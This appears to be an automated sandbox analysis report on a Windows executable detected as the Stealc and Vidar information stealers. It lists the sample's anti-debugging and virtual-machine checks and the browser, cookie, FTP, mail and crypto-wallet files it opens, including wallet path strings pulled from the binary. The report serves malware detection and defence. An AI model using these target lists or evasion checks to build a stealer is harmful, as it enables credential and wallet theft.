Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1261945 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 149993F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01014910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_01014910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0100DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0100E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0100BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01013EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_01013EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0100F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_010016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_010138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_010138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0100ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_01014570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_01014570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0100DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0100DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01001160 GetSystemInfo,ExitProcess,

0_2_01001160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1983612391.0000000000A81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1983612391.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareP
Source: file.exe, 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58424
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58421
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58435
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59611
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58443
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58475

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C625FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C625FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_010045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_010045C0

Source: C:\Users\user\Desktop\file.exe

0_2_01019860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019750 mov eax, dword ptr fs:[00000030h]

0_2_01019750

Source: C:\Users\user\Desktop\file.exe

0_2_01005100

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5FB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5FB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7636, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01019600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01019600

Source: file.exe, file.exe, 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: )*Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5FB341 cpuid

0_2_6C5FB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_01017B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01016920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_01016920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01017850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_01017850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01017A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_01017A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1709937283.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7636, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: .indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|*.wallet\|1\|Coinomi\|1\|\Coinomi\Coin
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1983612391.0000000000AC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7636, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1983612391.0000000000A3E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1709937283.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7636, type: MEMORYSTR

Mitre Att&ck Matrix

